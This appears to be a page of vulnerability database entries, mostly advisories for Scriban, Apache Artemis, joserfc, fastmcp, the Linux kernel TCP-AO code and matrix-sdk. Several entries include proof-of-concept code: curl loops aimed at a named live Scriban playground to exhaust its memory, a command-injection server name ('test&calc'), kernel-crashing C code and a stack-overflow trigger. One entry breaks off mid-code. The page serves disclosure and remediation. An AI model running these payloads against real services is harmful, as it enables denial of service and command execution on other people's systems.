| High | 7.5 | High7.5GCVE Database ## Summary The built-in `string.pad_left` and `string.pad_right` template functions in Scriban perform no validation on the `width` parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via `OutOfMemoryException`. ## Details `StringFunctions.PadLeft` and `StringFunctions.PadRight` (`src/Scriban/Functions/StringFunctions.cs:1181-1203`) directly delegate to .NET's `String.PadLeft(int)` / `String.PadRight(int)` with no bounds checking: ```csharp // src/Scriban/Functions/StringFunctions.cs:1181-1183 public static string PadLeft(string text, int width) { return (text ?? string.Empty).PadLeft(width); } // src/Scriban/Functions/StringFunctions.cs:1200-1202 public static string PadRight(string text, int width) { return (text ?? string.Empty).PadRight(width); } ``` The `TemplateContext.LimitToString` property (default 1MB, set at `TemplateContext.cs:147`) does **not** prevent the allocation. This limit is only checked during `ObjectToString()` conversion (`TemplateContext.Helpers.cs:101-103`), which runs *after* the string has been fully allocated by `PadLeft`/`PadRight`. The dangerous allocation is the return value of a built-in function — it occurs before output rendering. The Scriban.AppService playground (`src/Scriban.AppService/Program.cs:63-140`) exposes `POST /api/render` with: - No authentication - Template size limit of 1KB (line 71) — the payload fits in 39 bytes - A 2-second timeout via `CancellationTokenSource` (line 118) — but this only cancels the `await Task.Run(...)`, not the running `template.Render()` call (line 122). The BCL `PadLeft` allocation completes atomically before the cancellation can take effect. - Rate limiting of 30 requests/minute (line 25) ## PoC Single request to crash or degrade the AppService: ```bash curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' ``` This 39-byte template causes `PadLeft(500000000)` to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding). **Expected result:** The service returns an error or truncated output safely. **Actual result:** The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws `OutOfMemoryException` crashing the process. Sustained attack with rate limiting: ```bash # 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure for i in $(seq 1 30); do curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' & done wait ``` The `string.pad_right` variant works identically: ```bash curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \u0027\u0027 | string.pad_right 500000000 }}"}' ``` ## Impact - **Remote denial of service** against any application that renders untrusted Scriban templates, including the official Scriban playground at `scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net`. - An unauthenticated attacker can crash the hosting process via `OutOfMemoryException` with a single HTTP request. - With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery. - The existing `LimitToString` and timeout mitigations do not prevent the intermediate memory allocation. ## Recommended Fix Add width validation in `StringFunctions.PadLeft` and `StringFunctions.PadRight` to cap the maximum allocation. A reasonable upper bound is the `LimitToString` value from the `TemplateContext`, or a fixed maximum if the context is not available: ```csharp // src/Scriban/Functions/StringFunctions.cs // Option 1: Fixed reasonable maximum (simplest fix) public static string PadLeft(string text, int width) { if (width < 0) width = 0; if (width > 1_048_576) width = 1_048_576; // 1MB cap return (text ?? string.Empty).PadLeft(width); } public static string PadRight(string text, int width) { if (width < 0) width = 0; if (width > 1_048_576) width = 1_048_576; // 1MB cap return (text ?? string.Empty).PadRight(width); } ``` Alternatively, make the functions context-aware and use `LimitToString` as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth. | GCVE Database | |||
| High | 7.5 | High7.5GCVE Database When Scriban renders an object that contains a circular reference, it traverses the object's members infinitely. Because the `ObjectRecursionLimit` property defaults to unlimited, this behavior exhausts the thread's stack space, triggering an uncatchable `StackOverflowException` that immediately terminates the hosting process. When rendering objects (e.g., `{{ obj }}`), the Scriban rendering engine recursively inspects and formats the object's properties. To prevent infinite loops caused by deeply nested or circular data structures, `TemplateContext` contains an `ObjectRecursionLimit` property. However, this property currently defaults to `0` (unlimited). If the data context pushed into the template contains a circular reference, the renderer will recurse indefinitely. This is especially dangerous for web applications that map user-controlled payloads (like JSON) directly to rendering contexts, or for applications that pass ORM objects (like Entity Framework models, which frequently contain circular navigation properties) into the template. #### Proof of Concept (PoC) The following C# code demonstrates the vulnerability. Executing this will cause an immediate, fatal `StackOverflowException`, bypassing any standard error handling. ```csharp using Scriban; using Scriban.Runtime; var template = Template.Parse("{{ a }}"); var context = new TemplateContext(); var a = new ScriptObject(); // Introduce a cycle a["self"] = a; context.PushGlobal(new ScriptObject { { "a", a } }); try { // This crashes the entire process immediately template.Render(context); } catch (Exception ex) { // This will never execute because StackOverflowException Console.WriteLine("Caught exception: " + ex.Message); } ``` #### Impact This vulnerability allows a Denial of Service (DoS) attack. If a malicious user can manipulate the data structure passed to the renderer to include a cyclic reference, or if the application passes a complex object graph to an untrusted template, the entire .NET hosting process will crash. #### Suggested Remediation Update `TemplateContext.cs` to set `ObjectRecursionLimit` to a safe default, such as `20`. ```csharp public int ObjectRecursionLimit { get; set; } = 20; ``` By implementing this default, circular references will gracefully result in a catchable `ScriptRuntimeException` rather than a fatal process crash. | GCVE Database | |||
| Critical | 9.3 | EPSS 11% | CVE-2026-27446Apache Artemis · Missing Authentication Critical9.3EPSS 11%CVE Database V5CVE-2026-27446 Missing Authentication for Critical Function (CWE-306) vulnerability in Apache Artemis, Apache ActiveMQ Artemis. An unauthenticated remote attacker can use the Core protocol to force a target broker to establish an outbound Core federation connection to an attacker-controlled rogue broker. This could potentially result in message injection into any queue and/or message exfiltration from any queue via the rogue broker. This impacts environments that allow both: - incoming Core protocol connections from untrusted sources to the broker - outgoing Core protocol connections from the broker to untrusted targets This issue affects: - Apache Artemis from 2.50.0 through 2.51.0 - Apache ActiveMQ Artemis from 2.11.0 through 2.44.0. Users are recommended to upgrade to Apache Artemis version 2.52.0, which fixes the issue. The issue can be mitigated by one of the following: - Remove Core protocol support from any acceptor receiving connections from untrusted sources. Incoming Core protocol connections are supported by default via the "artemis" acceptor listening on port 61616. See the "protocols" URL parameter configured for the acceptor. An acceptor URL without this parameter supports all protocols by default, including Core. - Use two-way SSL (i.e. certificate-based authentication) in order to force every client to present the proper SSL certificate when establishing a connection before any message protocol handshake is attempted. This will prevent unauthenticated exploitation of this vulnerability. - Implement and deploy a Core interceptor to deny all Core downstream federation connect packets. Such packets have a type of (int) -16 or (byte) 0xfffffff0. Documentation for interceptors is available at https://artemis.apache.org/components/artemis/documentation/latest/intercepting-operations.html . | CVE Database V5 | ||
| Critical | 9.2 | EPSS 0.4% | CVE-2025-65015authlib joserfc · Unthrottled Resource Allocation Critical9.2EPSS 0.4%CVE Database V5CVE-2025-65015 ### Summary The `ExceededSizeError` exception messages are embedded with non-decoded JWT token parts and may cause Python logging to record an arbitrarily large, forged JWT payload. ### Details In situations where a misconfigured — or entirely absent — production-grade web server sits in front of a Python web application, an attacker may be able to send arbitrarily large bearer tokens in the HTTP request headers. When this occurs, Python logging or diagnostic tools (e.g., Sentry) may end up processing extremely large log messages containing the full JWT header during the `joserfc.jwt.decode()` operation. The same behavior also appears when validating claims and signature payload sizes, as the library raises `joserfc.errors.ExceededSizeError()` with the full payload embedded in the exception message. Since the payload is already fully loaded into memory at this stage, the library cannot prevent or reject it per se. It is therefore the responsibility of the underlying web server (`uvicorn`/`h11`, `gunicorn`, `Starlette`, `Werkzeug`, `nginx`...etc) to enforce limits on header sizes. For example, a `FastAPI`/`Starlette` application running _without_ `uvicorn` and/or `gunicorn` cannot enforce header size limits on its own. With `uvicorn`/`h11`, the [--h11-max-incomplete-event-size <int>](https://uvicorn.dev/settings/#implementation:~:text=%2D%2Dh11%2Dmax%2Dincomplete%2Devent%2Dsize%20%3Cint%3E) option can restrict the total size of the header _plus_ body, but not the header alone. Similarly, [vLLM serve](https://docs.vllm.ai/en/latest/cli/serve/#-h11-max-incomplete-event-size) —due to its reliance on `uvicorn`/`h11` and the need for heavy data transfer in ML inference workloads, sets a default limit of 4 MB for header _plus_ body and is frequently increased. In practice, a robust reverse proxy (such as `nginx`) is typically required because it can explicitly cap maximum header size. Unfortunately, many web applications do not run behind a proper reverse proxy. Given these constraints, the `joserfc` library cannot safely log or embed payloads of arbitrary size. This issue is particularly subtle, as it occurs only when a maliciously crafted JWT finally reaches the Python application, a scenario that most developers will never encounter during routine development and testing. ### PoC **Environment** Ubuntu 24.04 LTS Python 3.12 Tested on `joserfc` version `1.4.1` ```python import logging from datetime import UTC, datetime, timedelta from joserfc import jwt from joserfc.errors import ExceededSizeError, UnsupportedAlgorithmError from joserfc.jwk import OctKey logger = logging.getLogger(__name__) SECRET_KEY = "8c13bd66babc241b29f8553429bdab7deb6f5b74ddfda7765471e57ecd55641e" LONG_JWT_TOKEN = ( "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ" "." "eyJpc3MiOiJhdXRoX3NlcnZlciIsImlhdCI6MTc2MzI0OTEwMSwiZXhwIjoxNzY5MjQ5MTAxfQ" "." "6-k2jmkGXD6wXOgYgjPS8E5lS_GjWpgIuY54gokjAn8" ) HEADER = { "alg": ( "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" ), } CLAIMS = { "iss": "auth_server", "iat": datetime.now(UTC), "exp": datetime.now(UTC) + timedelta(minutes=15), } def main(): # Create OctKey from SECRET_KEY key = OctKey.import_key(SECRET_KEY) # Simulate creating a very large JWT # (this will fail with joserfc.errors.UnsupportedAlgorithmError # due to an invalid 'alg' header content try: token = jwt.encode(HEADER, CLAIMS, key) except UnsupportedAlgorithmError: # Use a forged token that has the same header and claims instead # but an invalid signature token = LONG_JWT_TOKEN logger.warning(f"Created JWT: {token}") # Now try to decode the large JWT try: decoded_token = jwt.decode(token, key) logger.warning("This line will never be reached.") logger.warning(decoded_token.claims) except ExceededSizeError: logger.exception( "The JWT size is too large and may be a security attack attempt." ) # this i | CVE Database V5 | ||
| Medium | 5.4 | EPSS 0.2% | CVE-2025-62801jlowin fastmcp · OS Command Injection Medium5.4EPSS 0.2%CVE Database V5CVE-2025-62801 ### Summary A command-injection vulnerability lets any attacker who can influence the server_name field of an MCP execute arbitrary OS commands on Windows hosts that run fastmcp install cursor ### Details 1. generate_cursor_deeplink(server_name, …) embeds server_name verbatim in a cursor://…?name= query string. 2. open_deeplink() is invoked with shell=True only on Windows. That calls cmd.exe /c start <deeplink>. 3. Any cmd metacharacter inside server_name (&, |, >, ^, …) escapes the start command and spawns an attacker-chosen process. ### PoC server.py ``` import random from fastmcp import FastMCP mcp = FastMCP(name="test&calc") @mcp.tool def roll_dice(n_dice: int) -> list[int]: """Roll `n_dice` 6-sided dice and return the results.""" return [random.randint(1, 6) for _ in range(n_dice)] if __name__ == "__main__": mcp.run() ``` then run in the terminal: `fastmcp install cursor server.py` ### Impact OS Command / Shell Injection (CWE-78) Every Windows host that runs fastmcp install cursor is at risk. Developers on their local workstations, CI/CD agents and corporate build machines alike. | CVE Database V5 | ||
| Medium | 5.5 | EPSS 0.1% | CVE-2025-39950Linux kernel · net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR Medium5.5EPSS 0.1%GCVE DatabaseCVE-2025-39950 In the Linux kernel, the following vulnerability has been resolved: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled. The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation. Fix this by checking if skb is NULL before dereferencing it. The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it. int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1; memset(&sockaddr,'\0',sizeof(sockaddr)); memset(&tcp_ao,'\0',sizeof(tcp_ao)); sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr.sin_family = AF_INET; memcpy(tcp_ao.alg_name,"cmac(aes128)",12); memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16); tcp_ao.keylen = 16; memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr)); setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao, sizeof(tcp_ao)); setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one)); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htobe16(123); inet_aton("127.0.0.1", &sockaddr.sin_addr); connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr)); return 0; } $ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182) EPSS 0.1%Vulnerability | GCVE Database | ||
| Low | 2.7 | EPSS 0.4% | CVE-2025-59047matrix-rust-sdk · Incorrect Calculation Low2.7EPSS 0.4%CVE Database V5CVE-2025-59047 matrix-sdk-base is the base component to build a Matrix client library. In matrix-sdk-base before 0.14.1, calling the `RoomMember::normalized_power_level()` method can cause a panic if a room member has a power level of `Int::Min`. The issue is fixed in matrix-sdk-base 0.14.1. The affected method isn’t used internally, so avoiding calling `RoomMember::normalized_power_level()` prevents the panic. | CVE Database V5 |
Page 3 of 4